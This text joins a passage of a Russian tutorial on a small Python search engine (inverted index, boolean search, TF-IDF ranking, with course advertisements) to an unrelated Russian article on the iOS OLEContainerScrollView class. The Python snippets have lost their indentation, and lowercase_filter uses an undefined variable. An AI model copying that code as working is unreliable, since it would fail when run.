Применим простейший способ выделения лексем: разобьём текст в местах, в которых встречаются пробелы. Затем к каждой лексеме применим пару фильтров: переведём текст лексемы в нижний регистр, удалим любые знаки препинания, исключим 25 наиболее распространённых английских слов (а также слово «википедия», так как оно встречается во всех заголовках всех аннотаций) и к каждому слову применим фильтр [выделения основы слова](https://en.wikipedia.org/wiki/Stemming) (после этой операции разные формы слова, например, *красный* и *краснота* будут соответствовать одной и той же основе *красн* [3]).
Функции выделения лексем и перевода в нижний регистр довольно просты:
```
import Stemmer
STEMMER = Stemmer.Stemmer('english')
def tokenize(text):
return text.split()
def lowercase_filter(text):
return [token.lower() for token in tokens]
def stem_filter(tokens):
return STEMMER.stemWords(tokens)
```
От знаков пунктуации избавиться также просто — к набору пунктуационных знаков применяется регулярное выражение:
```
import re
import string
PUNCTUATION = re.compile('[%s]' % re.escape(string.punctuation))
def punctuation_filter(tokens):
return [PUNCTUATION.sub('', token) for token in tokens]
```
Игнорируемые слова — это самые распространённые слова, которые, как мы полагаем, будут встречаться практически в каждом документе. Включение в указатель игнорируемых слов нежелательно, так как по поисковому запросу будет выдаваться практически каждый документ, и результат поиска станет малоинформативен (не говоря уже о том, что он займёт значительный объём памяти). Поэтому во время индексирования мы такие слова отфильтруем. В заголовках аннотаций статей Википедии содержится слово «Википедия», поэтому это слово мы также добавляем в список игнорируемых слов. В итоге мы внесли в список игнорируемых слов 25 самых распространённых слов английского языка, в том числе слово «Википедия».
```
# top 25 most common words in English and "wikipedia":
# https://en.wikipedia.org/wiki/Most_common_words_in_English
STOPWORDS = set(['the', 'be', 'to', 'of', 'and', 'a', 'in', 'that', 'have',
'I', 'it', 'for', 'not', 'on', 'with', 'he', 'as', 'you',
'do', 'at', 'this', 'but', 'his', 'by', 'from', 'wikipedia'])
def stopword_filter(tokens):
return [token for token in tokens if token not in STOPWORDS]
```
Применяя все описанные выше фильтры, мы [создаём функцию](https://github.com/bartdegoede/python-searchengine/blob/master/search/analysis.py%23L28-L35) [анализа (analyze)](https://github.com/bartdegoede/python-searchengine/blob/master/search/analysis.py%23L28-L35), которая будет применяться к тексту каждой аннотации; данная функция разбивает текст на отдельные слова (или *лексемы*), а затем последовательно применяет каждый фильтр к списку лексем. Порядок применения фильтров важен, так как в списке игнорируемых слов не выделены основы слов, поэтому фильтр stopword\_filter нужно применить до фильтра stem\_filter.
```
def analyze(text):
tokens = tokenize(text)
tokens = lowercase_filter(tokens)
tokens = punctuation_filter(tokens)
tokens = stopword_filter(tokens)
tokens = stem_filter(tokens)
return [token for token in tokens if token]
```
### Индексирование набора документов
Создадим класс Index, в котором будет храниться указатель (index) и документы (documents). В словаре documents будут храниться классы данных по идентификатору (ID), а ключи указателя index будут представлять собой лексемы со значениями идентификаторов документов, в которых встречаются лексемы:
```
class Index:
def __init__(self):
self.index = {}
self.documents = {}
def index_document(self, document):
if document.ID not in self.documents:
self.documents[document.ID] = document
for token in analyze(document.fulltext):
if token not in self.index:
self.index[token] = set()
self.index[token].add(document.ID)
```
Поиск
-----
Теперь, когда все лексемы проиндексированы, задача выполнения поискового запроса превращается в задачу анализа текста запроса с помощью того же анализатора, который мы применили к документам; таким образом, мы получим лексемы, которые будут совпадать с лексемами, имеющимися в указателе. Для каждой лексемы осуществим поиск в словаре, выявим идентификаторы документов, в которых встречается такая лексема. Затем выявим идентификаторы документов во всех таких наборах (другими словами, чтобы документ соответствовал запросу, он должен содержать все лексемы, присутствующие в запросе). После этого возьмём итоговой список идентификаторов документов и выполним выборку данных из нашего хранилища документов [4].
```
def _results(self, analyzed_query):
return [self.index.get(token, set()) for token in analyzed_query]
def search(self, query):
"""
Boolean search; this will return documents that contain all words from the
query, but not rank them (sets are fast, but unordered).
"""
analyzed_query = analyze(query)
results = self._results(analyzed_query)
documents = [self.documents[doc_id] for doc_id in set.intersection(*results)]
return documents
In [1]: index.search('London Beer Flood')
search took 0.16307830810546875 milliseconds
Out[1]:
[Abstract(ID=1501027, title='Wikipedia: Horse Shoe Brewery', abstract='The Horse Shoe Brewery was an English brewery in the City of Westminster that was established in 1764 and became a major producer of porter, from 1809 as Henry Meux & Co. It was the site of the London Beer Flood in 1814, which killed eight people after a porter vat burst.', url='https://en.wikipedia.org/wiki/Horse_Shoe_Brewery'),
Abstract(ID=1828015, title='Wikipedia: London Beer Flood', abstract="The London Beer Flood was an accident at Meux & Co's Horse Shoe Brewery, London, on 17 October 1814. It took place when one of the wooden vats of fermenting porter burst.", url='https://en.wikipedia.org/wiki/London_Beer_Flood')]
```
Запросы получаются очень точными, особенно если строка запроса достаточно длинная (чем больше лексем содержит запрос, тем меньше вероятность выдачи документа, содержащего все такие лексемы). Функцию поиска можно оптимизировать, отдав предпочтение [полноте, а не точности поиска](https://en.wikipedia.org/wiki/Precision_and_recall), то есть пользователь может указать, что результатом поискового запроса может быть документ, в котором содержится лишь одна из указанных им лексем:
```
def search(self, query, search_type='AND'):
"""
Still boolean search; this will return documents that contain either all words
from the query or just one of them, depending on the search_type specified.
We are still not ranking the results (sets are fast, but unordered).
"""
if search_type not in ('AND', 'OR'):
return []
analyzed_query = analyze(query)
results = self._results(analyzed_query)
if search_type == 'AND':
# all tokens must be in the document
documents = [self.documents[doc_id] for doc_id in set.intersection(*results)]
if search_type == 'OR':
# only one token has to be in the document
documents = [self.documents[doc_id] for doc_id in set.union(*results)]
return documents
In [2]: index.search('London Beer Flood', search_type='OR')
search took 0.02816295623779297 seconds
Out[2]:
[Abstract(ID=5505026, title='Wikipedia: Addie Pryor', abstract='| birth_place = London, England', url='https://en.wikipedia.org/wiki/Addie_Pryor'),
Abstract(ID=1572868, title='Wikipedia: Tim Steward', abstract='|birth_place = London, United Kingdom', url='https://en.wikipedia.org/wiki/Tim_Steward'),
Abstract(ID=5111814, title='Wikipedia: 1877 Birthday Honours', abstract='The 1877 Birthday Honours were appointments by Queen Victoria to various orders and honours to reward and highlight good works by citizens of the British Empire. The appointments were made to celebrate the official birthday of the Queen, and were published in The London Gazette on 30 May and 2 June 1877.', url='https://en.wikipedia.org/wiki/1877_Birthday_Honours'),
...
In [3]: len(index.search('London Beer Flood', search_type='OR'))
search took 0.029065370559692383 seconds
Out[3]: 49627
```
Релевантность
-------------
С помощью элементарных команд Python мы создали довольно быстро работающую поисковую систему, но остался один аспект, которого явно не хватает в нашей маленькой поисковой машине, а именно не учтён [принцип **релевантности**](https://livebook.manning.com/book/relevant-search/chapter-1/13). Сейчас программа поиска составлена таким образом, что пользователь получает неупорядоченный список документов и должен сам выбирать из полученного списка действительно нужные ему документы. Но, если результатов очень много, справиться с такой задачей не под силу никакому пользователю (в нашем примере OR программа выдала почти 50 000 результатов).
Вот тут-то и пригодится алгоритм ранжирования по релевантности, то есть алгоритм, который присваивал бы каждому документу собственный ранг — насколько точно документ соответствует запросу, и затем упорядочивал бы полученный список по таким рангам. Самый примитивный и простой способ присвоения ранга документу при выполнении запроса состоит в том, чтобы просто подсчитать, как часто в таком документе упоминается конкретное слово. Идея вроде бы логичная: чем чаще в документе упоминается термин, тем больше вероятность того, что это именно тот документ, который мы ищем!
### Частота вхождения терминов
Расширим наш класс данных Abstract, чтобы можно было вычислять и сохранять частоту вхождения терминов в процессе индексирования. Соответственно, если нам потребуется ранжировать наш неупорядоченный список документов, у нас будет для этого вся нужная информация:
```
# in documents.py
from collections import Counter
from .analysis import analyze
@dataclass
class Abstract:
# snip
def analyze(self):
# Counter will create a dictionary counting the unique values in an array:
# {'london': 12, 'beer': 3, ...}
self.term_frequencies = Counter(analyze(self.fulltext))
def term_frequency(self, term):
return self.term_frequencies.get(term, 0)
```
При индексировании должен осуществляется подсчёт частот вхождения терминов:
```
# in index.py we add `document.analyze()
def index_document(self, document):
if document.ID not in self.documents:
self.documents[document.ID] = document
document.analyze()
```
Внесём изменения в функцию поиска таким образом, чтобы к документам результирующего набора можно было применить ранжирование. Выборку документов будем осуществлять с помощью одного и того же логического запроса из указателя и базы данных документов, а затем для каждого документа такого результирующего множества подсчитаем, сколько раз встречается в этом документе каждый термин.
```
def search(self, query, search_type='AND', rank=True):
# snip
if rank:
return self.rank(analyzed_query, documents)
return documents
def rank(self, analyzed_query, documents):
results = []
if not documents:
return results
for document in documents:
score = sum([document.term_frequency(token) for token in analyzed_query])
results.append((document, score))
return sorted(results, key=lambda doc: doc[1], reverse=True)
```
### Обратная частота документов
Полученная функция работает уже намного лучше, но у нее всё равно имеются определённые недостатки. Мы подразумевали, что при оценке релевантности запроса все термины запроса имеют один и тот же вес. Но, как нетрудно догадаться, при определении релевантности некоторые термины имеют либо крайне малую, либо вообще нулевую различающую способность; например, в наборе из большого количества документов, относящихся к пиву, термин «пиво» будет встречаться практически в каждом документе (ранее мы уже пытались обойти эту проблему, исключив из указателя 25 самых распространённых английских слов). Поиск слова «пиво» приведёт к тому, что мы получим лишь маловразумительный набор хаотично упорядоченных документов.
Чтобы решить проблему, добавим в наш алгоритм определения релевантности ещё один компонент, занижающий в итоговом результате вес терминов, очень часто встречающихся в указателе. В принципе, можно было бы использовать значение *частоты вхождения* термина (то есть насколько часто такой термин встречается во *всех* документах), однако [на практике](https://nlp.stanford.edu/IR-book/html/htmledition/inverse-document-frequency-1.html) вместо этого значения используется значение *частоты документов* (то есть какое количество *документов* в указателе содержат данный термин). Поскольку наша задача заключается в ранжировании именно документов, формировать статистику имеет смысл на уровне документов.
*Обратная частота документов* для термина определяется делением количества документов (N) в указателе на количество документов, содержащих термин, и взятием логарифма полученного частного.
Обратная частота документов (IDF); формула взята из https://moz.com/blog/inverse-document-frequency-and-the-importance-of-uniquenessПри ранжировании значение частоты термина умножается на значение обратной частоты документа, и, следовательно, документы, в которых присутствуют термины, редко встречающиеся в наборе документов, будут более релевантными [5]. Значение обратной частоты документов можно легко рассчитать по указателю:
```
# index.py
import math
def document_frequency(self, token):
return len(self.index.get(token, set()))
def inverse_document_frequency(self, token):
# Manning, Hinrich and Schütze use log10, so we do too, even though it
# doesn't really matter which log we use anyway
# https://nlp.stanford.edu/IR-book/html/htmledition/inverse-document-frequency-1.html
return math.log10(len(self.documents) / self.document_frequency(token))
def rank(self, analyzed_query, documents):
results = []
if not documents:
return results
for document in documents:
score = 0.0
for token in analyzed_query:
tf = document.term_frequency(token)
idf = self.inverse_document_frequency(token)
score += tf * idf
results.append((document, score))
return sorted(results, key=lambda doc: doc[1], reverse=True)
```
Будущая работа™
---------------
Мы создали элементарную информационно-поисковую систему всего из нескольких десятков строчек кода Python! Код целиком приведён на [Github](https://github.com/bartdegoede/python-searchengine). Также я написал вспомогательную функцию, загружающую аннотации статей Википедии и создающую указатель. Установите файл requirements, запустите его в выбранной вами консоли Python и получайте удовольствие от работы со структурами данных и операциями поиска.
Данная статья написана с единственной целью — привести пример реализации концепции поиска и продемонстрировать, что поисковые запросы (даже с ранжированием) могут выполняться очень быстро (например, на своём ноутбуке с «медленным» Python я могу осуществлять поиск и ранжирование среди 6,27 миллионов документов). Статью ни в коем случае не следует рассматривать как инструкцию по созданию программного обеспечения промышленного уровня. Моя поисковая машина запускается полностью в памяти ноутбука, но такие библиотеки, как Lucene, используют сверхпроизводительные структуры данных и даже оптимизируют дисковые операции, а такие программные комплексы, как Elasticsearch и Solr, распространяют библиотеку Lucene на сотни, а иногда и тысячи машин.
Но даже наш простенький алгоритм можно существенно улучшить. Например, мы молчаливо предполагали, что каждое поле документа вносит в релевантность одинаковый вклад, но, если поразмыслить, так быть не должно — ведь термин, присутствующий в заголовке, очевидно, должен иметь больший вес, чем термин, встречающийся в содержании аннотации. Другой перспективной идеей может стать более продвинутый синтаксический анализ запроса — должны ли совпадать все термины? только один термин? или несколько? Зная ответы на эти вопросы, можно повысить качество работы поисковых запросов. Также — почему бы не исключить из запроса определённые термины? почему бы не применить операции AND и OR к отдельным терминам? Можно ли сохранить указатель на диск и вывести его, таким образом, за пределы оперативной памяти ноутбука?
Благодаря своей универсальности и распространённости, Python уже который год находится в [топе языков программирования](https://habr.com/ru/company/skillfactory/blog/531360/) и де-факто стал основным языком для работы с данными. Если вы хотите расширить свои компетенции и освоить этот язык под руководством крутых менторов — приходите на курс [Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=070421).
[Узнайте](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=070421), как прокачаться в других инженерных специальностях или освоить их с нуля:
* [Курс "Python для веб-разработки"](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=070421)
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=070421)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=070421)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=070421)
Другие профессии и курсы**ПРОФЕССИИ**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=070421)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=070421)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=070421)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=070421)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=070421)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=070421)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=070421)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=070421)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=070421)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=070421)
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=070421)
* [Курс "Machine Learning и Deep Learning"](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=070421)
* [Курс "Математика для Data Science"](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=070421)
* [Курс "Математика и Machine Learning для Data Science"](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=070421)
* [Курс "Алгоритмы и структуры данных"](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=070421)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=070421)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=070421)
1. Аннотация — это, как правило, первый абзац или первая пара предложений статьи в Википедии. [Полный объём заархивированного XML-файла](https://dumps.wikimedia.org/enwiki/latest/enwiki-latest-abstract.xml.gz) составляет приблизительно 796 Мбайт. Если вы захотите самостоятельно поэкспериментировать с кодом, можно воспользоваться доступными архивами меньшего размера (с ограниченным количеством аннотаций); синтаксический разбор и индексирование XML-файла займут довольно большое время и потребуют значительных объёмов памяти.
2. Весь набор данных и указатель будут храниться в памяти, поэтому нет нужды также хранить в памяти необработанные данные.
3. Много ли преимуществ даёт фильтр выделения основы слова? Это тема для отдельного обсуждения. Применение такого фильтра позволит уменьшить общий размер указателя (то есть уменьшить количество уникальных слов), однако операция выделения основы слова базируется на эвристике, и мы, сами того не желая, можем отсеять потенциально ценную информацию. Например, если слова университет, универсальный, университеты и универсиада усечь до основы универс, мы потеряем способность различать значения этих слов, а это отрицательно скажется на релевантности. Более подробная информация о выделении основы слов (и лемматизации) приведена в [этой отличной статье](https://towardsdatascience.com/stemming-lemmatization-what-ba782b7c0bd8%236f14).
4. При решении задачи мы используем оперативную память ноутбука. Но на практике применяется другой способ, не связанный с хранением указателя в памяти. Поисковая система Elasticsearch хранит данные в обычном текстовом формате JSON на диске, в самой библиотеке Lucene (базовой библиотеке поиска и индексирования) хранятся только индексированные данные. Многие другие поисковые системы просто возвращают упорядоченный список идентификаторов документов, который затем используется для извлечения и выдачи пользователям данных из базы данных или другого сервиса. Особенно это актуально для крупных корпораций, в которых полное реиндексирование всех данных обходится недёшево. Как правило, в поисковой системе хранятся только данные, связанные с обеспечением релевантности (а не атрибуты, используемые только для презентационных целей).
5. Для более глубокого понимания алгоритма рекомендую ознакомиться со следующими публикациями: [What is TF-IDF?](https://monkeylearn.com/blog/what-is-tf-idf/) и [Term frequency and weighting](https://nlp.stanford.edu/IR-book/html/htmledition/term-frequency-and-weighting-1.html) | https://habr.com/ru/post/551000/ | null | ru | null |
# Scroll Views внутри Scroll Views
В данной статье я хочу представить [*OLEContainerScrollView*](https://github.com/ole/OLEContainerScrollView), который является потомком *UIScrollView* и позволяет вам добавлять несколько scroll views, таблиц (*UITableView*) или коллекций (*UICollectionView*) в один контейнер.
#### Возможное применение
Вы можете использоваться *OLEContainerScrollView* для достижения следующих целей:
* Размещение несколько scroll views (или таблиц, или коллекций) один под другим так, чтобы при этом их обычное поведение при прокрутке не пострадало. В случае таблиц или коллекций речь идет о сохранении работоспособности механизма повторного использования ячеек.
* Превращение одного сложного *UITableViewDataSource* или *UICollectionViewDataSource* в несколько простых источников данных путем разделения таблицы или коллекций, состоящей из нескольких секций, на несколько односекционных таблиц или коллекций, расположенных друг за другом.
* Добавление заголовка или подвала (*header* или *footer*) над или под коллекцию без необходимости управлять их разметкой. В таком случае это будут простые *UIScrollViews* или *UIViews*.
#### Повторное использование ячеек в таблицах и коллекциях
Перед тем, как рассмотреть реализацию моего класса, давайте обратим внимание на то, как таблицы или коллекции вообще работают. Оба класса, [*UITableView*](https://developer.apple.com/library/ios/documentation/uikit/reference/UITableView_Class/Reference/Reference.html) и [*UICollectionView*](https://developer.apple.com/library/ios/documentation/uikit/reference/UICollectionView_class/Reference/Reference.html), являются потомками [*UIScrollView*](https://developer.apple.com/Library/ios/documentation/UIKit/Reference/UIScrollView_Class/Reference/UIScrollView.html) и ведут себя аналогично. Однако, ключевым отличием является то, что таблицы и коллекции [повторно используют свои ячейки](https://developer.apple.com/library/ios/documentation/UIKit/Reference/UITableView_Class/Reference/Reference.html#//apple_ref/doc/uid/TP40006943-CH3-SW92). Когда вид (*view*) прокручивается и ячейка выходит за пределы экрана, эта ячейка удаляется из иерархии видов (иными словами, ей посылается сообщение *removeFromSuperview*) и переносится в очередь для повторного использования (reuse queue). В то же время, перед тем, как новая ячейка должна появиться, таблица вызывает из очереди ожидания повторного использования свободную ячейку и повторного размещает ее на своей иерархии видов. Этот подход позволяет избежать значительного потребления памяти, минимизировать число дорогостоящих операций создания и размещения (allocation) в памяти новых видов и обеспечить максимально быструю прокрутку.
> Иллюстрация повторного использования ячеек в *UITableView*. Невидимые ячейки удаляются из иерархии видов (обозначены синим пунктиром) и добавляются на вид таблицы перед отображение в результате прокрутки. Заметьте, что *frame* таблицы (светло-синий прямоугольник) меньше, чем размер контента (content size, обведён красной пунктирной линией), как это обычно и бывает у scroll view. [Скачать видео (в формате H.264)](http://oleb.net/media/table-view-cell-reuse-simulation.m4v).
#### Простой подход к реализации контейнера
Размещение нескольких scroll view в одном общем контейнере, так же являющимся scroll view, — это довольно простая задача:
* Создать *UIScrollView*, который будет контейнером для вложенный scroll view.
* Добавить вложенные scroll views в контейнер. Это могут быть как простые scroll view, так и таблицы или коллекции.
* Установить вложенным scroll view такие *frame*, чтобы они вмещали целиком их контент (*contentSize*). Установить положения scroll views один под другим.
* Установить размер контента (*contentSize*) контейнера как сумму *frames* вложенных видов.
Таким образом, когда мы каждому вложенному scroll view устанавливаем размер *frame* больший либо равный размеру их контента, мы получаем ситуацию, в которой эти scroll view никогда не будут прокручиваться — единственным прокручивающимся объектом будет контейнер. Это позволяет избежать помех в обработке касаний между вложенными scroll view и их контейнером.
Эта схема, безусловно работает, но есть один существенный недостаток: чрезмерная трата памяти. Если вложенные scroll view являются таблицами или коллекциями, то они создают ячейку для каждой строки, потому что все ячейки в их понимации являются видимыми. Если коллекция содержит сотни или тысячи ячеек, тогда эффект будет по истине драматическим: прокрутка будет тормозить, а ваше приложение потребит всю доступную память на устройстве.
> Пример простого подхода к реализации контейнера для нескольких scroll views. Две таблицы добавлены как подвиды (*subviews*) в один общий контейнер, который сам при этом является scroll view (прямоугольник с черной обводкой). *Frames* таблиц (светло-синий и светло-жёлтый прямоугольники) изменены так, чтобы полностью вмещать в себя контент каждой таблицы (красная пунктирная обводка). Заметьте, как это отразилось на повторном использовании ячеек — оно прекратилось, одновременно присутствуют все ячейки каждой строки, независимо от того, видима ли ячейка (внутри *frame* контейнера, черный прямоугольник) или нет. [Скачать видео (в формате H.264)](http://oleb.net/media/naive-container-scrollview.m4v).
#### OLEContainerScrollView
Теперь я расскажу о своём контейнере для scroll view. *OLEContainerScrollView* — это наследник *UIScrollView*, который автоматически упорядочивает вложенные в него виды в манере колоды или стопки (похоже на [*NSStackView*](https://developer.apple.com/library/mac/documentation/AppKit/Reference/NSStackView_Class/Chapters/Reference.html) в OS X). Этот контейнер работает со всеми типами видами, не только со scroll views, хотя scroll view он обрабатывает особым образом.
#### Добавление видов
Чтобы добавить вид в контейнер, необходимо использовать метод *addSubviewToContainer:*. Я был вынужден создать новые методы для добавления и удаления видов в контейнер, а не полагаться на существующую пару *addSubview:/removeFromSuperview*, потому что я хотел добавлять виды в приватный *contentView*, а не прямо в контейнер. Этот приём позволил избежать помех со стороны приватных подвидов самого *UIScrollView*, которые создаются для отображения индикаторов прокрутки, когда мы позже будем перебором вложенных видов подгонять их размеры.
Как только вид добавляется в контейнер, происходит следующее:
* Если новый вид является экземпляром *UIScrollView* (или наследником), тогда у него отключается собственная прокрутка с помощью свойства *subview.scrollEnabled = NO;*. Так обработкой жестов прокрутки будет заниматься только наш контейнер.
* Подписываемся на KVO уведомления (notifications) об изменении размеров вложенного вида. Для обычный *UIViews* наблюдаем за изменениями свойств *frames* и *bounds*. Для scroll view наблюдаем за изменениями размеров контента через свойство *contentSize*. Это необходимо сделать, чтобы впоследствии подгонять (relayout) вложенные виды при изменениях их размеров извне.
#### Выравнивание во время прокрутки
Во время прокрутки контейнер непрерывно выравнивает *frames* вложенных в него видов следующим способом:
* Перебирает все вложенные виды в порядке из добавления и позиционирует их в стопку: каждый следующий вид после предыдущего. Ширина всех видов подгоняется под ширину контейнера так, чтобы вид умещался в контейнере1. Для обычных *UIViews* выделяется место в соответствии с высотой их *frame*. Для scroll view выделяется место, достаточное для того, чтобы уместить их контент, высота берется из *contentSize.height*. Это означает, что вид, следующий за scroll view, будет размещен в контейнере так, чтобы до него уместилось всё содержимое scroll view.
* Размер контента контейнера состоит из размеров контента всех вложенных видов.
Это по-прежнему соответствует простому подходу, описанному ранее. Теперь же нам требуется выровнять *frames* всех scroll views в контейнере так, чтобы у них получился минимальный размер, который позволит заполнить область видимости (viewport) контейнера ([в соответствии с *bounds*](http://oleb.net/blog/2014/04/understanding-uiscrollview/)):
* Для этого определим для каждого вложенного scroll view в контейнере2 как их области контента пересекаются с текущей областью видимости контейнера, и установим им *frame* в соответствии с этим. Это означает, что *frame* любого scroll view никогда не будет больше, чем размер контейнера, и что виды, которые не находятся в данный момент в области видимости, будут иметь frame с высотой равной 0.
Посмотрите на видео ниже, чтобы понять, как этот алгоритм работает. В начале первая таблица заполняет собой всю область видимости контейнера (отмечена черной обводкой) — *frame* таблицы (светло-синий прямоугольник) точно равен *bounds* контейнера. Вторая таблица при этом полностью находится вне области видимости — её *frame* имеет высоту 0, таблица невидима. В итоге пока нет необходимости создавать в ней ячейки (желтый пунктир).
Как только пользователь прокручивает содержимое контейнера, и вторая таблица выходит в область видимости, высота *frame* таблицы (светло-желтый прямоугольник) начинает увеличиваться от нижней границы области видимости до того момента, пока не сравняется с высотой контейнера. В то же самое время *frame* первой таблицы сжимается до нуля, пока таблица удаляется за пределы экрана. Обе таблицы могут использовать без ограничений все возможности повторного использования ячеек без ограничений и каких-либо условий.
> Демонстрация работы *OLEContainerScrollView*. [Скачать видео (в формате H.264)](http://oleb.net/media/olecontainerscrollview-demo.m4v).
#### Код
Интерфейс класса *OLEContainerScrollView* выглядит так:
**Код**
```
@interface OLEContainerScrollView : UIScrollView
- (void)addSubviewToContainer:(UIView *)subview;
- (void)removeSubviewFromContainer:(UIView *)subview;
@end
```
А вот реализация метода *layoutSubviews*, который выполняет всю работу:
```
@implementation OLEContainerScrollView
...
- (void)layoutSubviews
{
[super layoutSubviews];
// Translate the container view's content offset to contentView bounds.
// This keeps the contentview always centered on the visible portion of the container view's
// full content size, and avoids the need to make the contentView large enough to fit the
// container view's full content size.
self.contentView.frame = self.bounds;
self.contentView.bounds = (CGRect){ self.contentOffset, self.contentView.bounds.size };
// The logical vertical offset where the current subview (while iterating over all subviews)
// must be positioned. Subviews are positioned below each other, in the order they were added
// to the container. For scroll views, we reserve their entire contentSize.height as vertical
// space. For non-scroll views, we reserve their current frame.size.height as vertical space.
CGFloat yOffsetOfCurrentSubview = 0.0;
for (UIView *subview in self.contentView.subviews)
{
if ([subview isKindOfClass:[UIScrollView class]]) {
UIScrollView *scrollView = (UIScrollView *)subview;
CGRect frame = scrollView.frame;
CGPoint contentOffset = scrollView.contentOffset;
// Translate the logical offset into the sub-scrollview's real content offset and frame size.
// Methodology:
// (1) As long as the sub-scrollview has not yet reached the top of the screen, set its scroll position
// to 0.0 and position it just like a normal view. Its content scrolls naturally as the container
// scroll view scrolls.
if (self.contentOffset.y < yOffsetOfCurrentSubview) {
contentOffset.y = 0.0;
frame.origin.y = yOffsetOfCurrentSubview;
}
// (2) If the user has scrolled far enough down so that the sub-scrollview reaches the top of the
// screen, position its frame at 0.0 and start adjusting the sub-scrollview's content offset to
// scroll its content.
else {
contentOffset.y = self.contentOffset.y - yOffsetOfCurrentSubview;
frame.origin.y = self.contentOffset.y;
}
// (3) The sub-scrollview's frame should never extend beyond the bottom of the screen, even if its
// content height is potentially much greater. When the user has scrolled so far that the remaining
// content height is smaller than the height of the screen, adjust the frame height accordingly.
CGFloat remainingBoundsHeight = fmax(CGRectGetMaxY(self.bounds) - CGRectGetMinY(frame), 0.0);
CGFloat remainingContentHeight = fmax(scrollView.contentSize.height - contentOffset.y, 0.0);
frame.size.height = fmin(remainingBoundsHeight, remainingContentHeight);
frame.size.width = self.contentView.bounds.size.width;
scrollView.frame = frame;
scrollView.contentOffset = contentOffset;
yOffsetOfCurrentSubview += scrollView.contentSize.height;
}
else {
// Normal views are simply positioned at the current offset
CGRect frame = subview.frame;
frame.origin.y = yOffsetOfCurrentSubview;
frame.size.width = self.contentView.bounds.size.width;
subview.frame = frame;
yOffsetOfCurrentSubview += frame.size.height;
}
}
self.contentSize = CGSizeMake(self.bounds.size.width, fmax(yOffsetOfCurrentSubview, self.bounds.size.height));
}
@end
```
Остальной код вполне шаблонный, ознакомиться с ним можно [на GitHub](https://github.com/ole/OLEContainerScrollView).
#### Auto Layout
Пара слов о *Auto Layout*: *OLEContainerScrollView* не использует эту функцию внутри, и наверно невозможно реализовать подобное поведение с помощью распорок *Auto Layout* ([*UIScrollView* и *Auto Layout* не совсем лучшие друзья, в любом случае](https://developer.apple.com/LIBRARY/ios/technotes/tn2154/_index.html)). Тем не менее, не должно быть проблем с использованием этого класса с другими объектами, которые используют *Auto Layout* для разметки внутри себя. Как я говорил ранее, вы можете вполне свободно смешивать ручную разметку и auto layout.
#### Эй, а где Podspec?
Я намеренно не cделал (пока) *CocoaPod* из *OLEContainerScrollView*. Я написал этот класс, чтобы решить свою очень специфическую проблему, и я верю, что у него есть достаточный потенциал, чтобы вырасти в общий компонент. Безусловно, пока что он таковым не является. Ограничения следующие:
* Класс поддерживает только вертикальную разметку вложенных видов и только вертикальную прокрутку.
* Вертикальная разметка очень негибкая. При ней все вложенные виды растягиваются до ширины контейнера. Она не поддерживает промежутки между вложенными видами или их свободное размещение.
* Размер контента изменяется вслед за размерами вложенных видов, но не анимируется достаточно хорошо.
Если вы заинтересованы в использовании данного класса, я буду рад, если вы загляните в его код и используете его в своих целях. Так же я буду рад добавить ваши улучшения (делайте *pull request’ы*). И напишите мне, если хотите видеть этот класс в виде *CocoaPod’а*.
#### Заключение
